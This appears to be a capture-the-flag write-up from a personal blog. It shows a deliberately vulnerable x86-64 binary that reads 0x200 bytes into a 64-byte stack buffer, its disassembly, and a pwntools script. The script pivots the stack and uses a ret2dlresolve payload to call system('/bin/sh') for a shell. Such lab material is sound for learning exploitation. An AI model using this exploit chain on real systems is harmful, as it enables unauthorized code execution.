超级玉米人の部屋

1
int __fastcall main(int argc, const char **argv, const char **envp)
2
{
3
  setvbuf(stdout, 0, 2, 0);
4
  setvbuf(stdin, 0, 2, 0);
5
  vuln();
6
  return 0;
7
}
8

9
ssize_t vuln()
10
{
11
  _BYTE buf[64]; // [rsp+0h] [rbp-40h] BYREF
12

13
  return read(0, buf, 0x200u);
14
}

1
vuln      ; __unwind {
2
vuln                      endbr64
3
vuln+4                    push    rbp
4
vuln+5                    mov     rbp, rsp
5
vuln+8                    sub     rsp, 40h
6
vuln+C                    lea     rax, [rbp+buf]
7
vuln+10                   mov     edx, 200h       ; nbytes
8
vuln+15                   mov     rsi, rax        ; buf
9
vuln+18                   mov     edi, 0          ; fd
10
vuln+1D                   call    _read
11
vuln+22                   nop
12
vuln+23                   leave
13
vuln+24                   retn
14
vuln+24   ; } // starts at 401156
15

16
main      main            proc near               ; DATA XREF: _start+18↑o
17
main      ; __unwind {
18
main                      endbr64
19
main+4                    push    rbp
20
main+5                    mov     rbp, rsp
21
main+8                    mov     rax, cs:stdout
22
main+F                    mov     ecx, 0          ; n
23
main+14                   mov     edx, 2          ; modes
24
main+19                   mov     esi, 0          ; buf
25
main+1E                   mov     rdi, rax        ; stream
26
main+21                   call    _setvbuf
27
main+26                   mov     rax, cs:stdin@GLIBC_2_2_5
28
main+2D                   mov     ecx, 0          ; n
29
main+32                   mov     edx, 2          ; modes
30
main+37                   mov     esi, 0          ; buf
31
main+3C                   mov     rdi, rax        ; stream
32
main+3F                   call    _setvbuf
33
main+44                   mov     eax, 0
34
main+49                   call    vuln
35
main+4E                   mov     eax, 0
36
main+53                   pop     rbp
37
main+54                   retn
38
main+54   ; } // starts at 40117B

1
from pwn import *
2

3
FILE = "./vuln"
4
context(log_level="debug", binary=FILE, terminal="kitty")
5

6
elf = context.binary
7
libc = elf.libc
8
rop = ROP(elf)
9

10
p = process("./vuln")
11

12
readAddr = elf.sym["vuln"] + 0xC
13
payload = flat(
14
  {
15
    0x40: elf.sym["stdout"] + 0x40, # rbp
16
    0x48: readAddr, # read,
17
  },
18
  filler = b"\x00"
19
)
20
# raw_input("DEBUG")
21
p.sendline(payload)
22

23
# 构造dlrsolve的结构体
24
dlresolve = Ret2dlresolvePayload(
25
  elf = elf,
26
  symbol = "system",
27
  args = [],
28
  resolution_addr = elf.got["setvbuf"],
29
  data_addr = 0x404070
30
)
31

32
payload = flat(
33
  {
34
    0x0: elf.sym["stdout"] + 0x8, # 由于这个地址指向的是实际的地址，所以需要使用这个地址作为跳板，得到真正的 bin/sh\x00
35
    0x8: b"/bin/sh\x00",
36
    0x40: elf.bss() + 0xee0 + 0x40, # read 的时候会减去0x40
37
    0x48: readAddr, # read,
38
    0x50: dlresolve.payload
39
  },
40
  filler = b"\x00"
41
)
42

43
raw_input("DEBUG")
44
p.sendline(payload)
45
rop.ret2dlresolve(dlresolve)
46
p.success(rop.dump())
47

48
payload = flat(
49
  {
50
    0x48: rop.chain(),
51
    0x58: rop.ret.address,
52
    0x60: elf.sym["main"]
53
  },
54
  filler = b"\x00"
55
)
56
raw_input(f"DEBUG: pwndbg -p {p.pid}")
57
p.sendline(payload)
58
p.interactive()